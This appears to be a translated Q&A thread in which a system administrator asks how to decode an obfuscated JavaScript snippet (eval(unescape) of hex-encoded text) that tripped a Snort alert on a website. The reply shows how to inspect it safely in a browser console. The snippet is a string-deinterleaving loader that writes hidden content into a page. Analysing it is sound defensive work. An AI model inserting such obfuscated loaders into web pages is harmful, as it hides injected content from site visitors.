我是一个对javascript一直不太了解的系统管理员。
我最近开始在网络上运行Snort,它给了我警告" ET WEB_CLIENT六进制混淆document.write%编码"在我的一个用户访问的网站上。看看Snort规则和网站上的html / javascript,我能够找到以下我认为触发规则的内容:
eval(unescape("%66%75%6e%63%74%69%6f%6e%20%52%73%52%73%52%73%52%73%28%74%65%61%61%62%62%29%20%7b%76%61%72%20%74%74%74%6d%6d%6d%3d%22%22%3b%6c%3d%74%65%61%61%62%62%2e%6c%65%6e%67%74%68%3b%77%77%77%3d%68%68%68%68%66%66%66%66%3d%4d%61%74%68%2e%72%6f%75%6e%64%28%6c%2f%32%29%3b%69%66%28%6c%3c%32%2a%77%77%77%29%09%68%68%68%68%66%66%66%66%3d%68%68%68%68%66%66%66%66%2d%31%3b%66%6f%72%28%69%3d%30%3b%69%3c%68%68%68%68%66%66%66%66%3b%69%2b%2b%29%74%74%74%6d%6d%6d%20%3d%20%74%74%74%6d%6d%6d%20%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%69%29%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%69%2b%68%68%68%68%66%66%66%66%29%3b%69%66%28%6c%3c%32%2a%77%77%77%29%20%74%74%74%6d%6d%6d%20%3d%20%74%74%74%6d%6d%6d%20%2b%20%74%65%61%61%62%62%2e%63%68%61%72%41%74%28%6c%2d%31%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%74%74%74%6d%6d%6d%29%3b%7d%3b%52%73%52%73%52%73%52%73%28%77%6c%6b%6a%69%29%3b"));
我通过HexDecoder(http://ddecode.com/hexdecoder/)运行了这个javascript块并获得了以下内容:
eval(unescape("function RsRsRsRs(teaabb) {var tttmmm="";l=teaabb.length;www=hhhhffff=Math.round(l/2);if(l<2*www) hhhhffff=hhhhffff-1;for(i=0;i<hhhhffff;i++)tttmmm = tttmmm + teaabb.charAt(i)+ teaabb.charAt(i+hhhhffff);if(l<2*www) tttmmm = tttmmm + teaabb.charAt(l-1);document.write(tttmmm);};RsRsRsRs(wlkji);"));
有人能指出我正确的方向继续解码这个以确定它可能在做什么吗?
答案 0 :(得分:0)
任何人都可以指出我正确的方向......
只需打开浏览器的网络控制台并将其粘贴到,不用开头为eval(
,最后为)
。这将显示它正在尝试运行的代码,而不运行它。
您可以通过获取结果
来进一步了解function RsRsRsRs(teaabb) {
var tttmmm = "";
l = teaabb.length;
www = hhhhffff = Math.round(l / 2);
if (l < 2 * www) hhhhffff = hhhhffff - 1;
for (i = 0; i < hhhhffff; i++) tttmmm = tttmmm + teaabb.charAt(i) + teaabb.charAt(i + hhhhffff);
if (l < 2 * www) tttmmm = tttmmm + teaabb.charAt(l - 1);
document.write(tttmmm);
};
RsRsRsRs(wlkji);
...定义然后调用一个函数并将其document.write
部分更改为console.log
,这样您就可以看到它试图放入文档中的内容。
但必须有更多,因为最终会尝试使用不存在的变量。